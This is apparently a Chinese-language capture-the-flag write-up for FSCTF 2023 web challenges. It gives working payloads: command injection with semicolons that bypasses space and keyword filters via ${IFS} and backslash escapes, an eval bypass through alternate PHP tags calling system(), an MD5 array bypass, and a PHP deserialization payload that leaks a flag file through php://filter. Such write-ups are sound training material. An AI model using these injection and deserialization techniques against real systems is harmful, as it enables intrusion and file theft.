[FSCTF 2023]源码!启动!
进入页面ctrl+u查看源码得到flag
webshell是啥捏
进入页面,发现给出源码
笨办法,一个一个找出表情代表啥,最后发现为命令执行函数passthru,而passthru出现在了漏洞点eval处,也就是RCE漏洞,而且进一步查看发现没有过滤,
直接打它:
细狗2.0
进入页面
随意输入试试,回显 行不行啊细狗,你就输了个这? 1
继续尝试 1;ls 回显 行不行啊细狗,你就输了个这? 1;lsindex.php moyu.php
到这里漏洞点已经很明显了,为什么要加;呢,题目告诉你是RCE,那么假设前边为echo命令,那么闭合前边命令,执行下一个命令,用分号分割,到这里就明显了。
继续打,输入%20发现空格被过滤,利用${IFS}进行绕过
1;ls${IFS}/ 回显
发现flag,cat它,被过滤,c\at${IFS}/f\lag绕过.不懂得自己搜RCE命令过滤绕过。
ez_eval
进入页面发现源码
最开始我以为就是普通的RCE,但是命令输入却不见反应,后来发现执行php标签可以执行出来,其实在str_replace哪里就发现有端倪,,为什么要替换?呢。
但是php标签的?被替换没了,换一种标签 回显了phpinfo页面,到这里也就清楚了
payload: system('c\at%09/f\lag')替换phpinfo() 绕过就不用我说了
Hello,you
进入ctrl+u发现源码
也就是3个函数,一个调用一个,命令执行点在exec($command, $output); 一个一个往上找,发现其实command就是我们要输入的username。
第一次尝试:1;ls 发现flag.php,第一感觉很明显就是这个文件。
直接打它:1;c\at f\lag.php
ez_php1
进入页面发现源码
一眼简单的MD5绕过,可以选择数组,也可以选择特殊值绕过 具体看MD5绕过_$md5==md5($md5)-CSDN博客
这里的FL_AG参数随便输,因为preg_match检查的不是它,payload ==> get:a[]=1&b[]=2 post: FL_AG=1 发现L0vey0U.php,进入其中。
反序列化操作,对输入的参数进行反序列化,与KEY参数进行比较。直接贴上payload。
点击查看代码
<?php
$a = "YES I love";
echo serialize($a);
这里有个坑,题做多了也就知道了,第一眼看见了php://filter.....,但是没有输出啊,但是我们发现__destruct输出了b,那我们可以让b来输出a啊,也就是将a赋予b使得b输出a的值,就是a与b变成用同一个内存变量
点击查看代码
payload:
<?php
// $a = "YES I love";
// echo serialize($a);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$c = new Clazz();
$c->b = &$c->a; // php的引用就是在变量或者函数、对象等前面加上&符号。
echo serialize($c);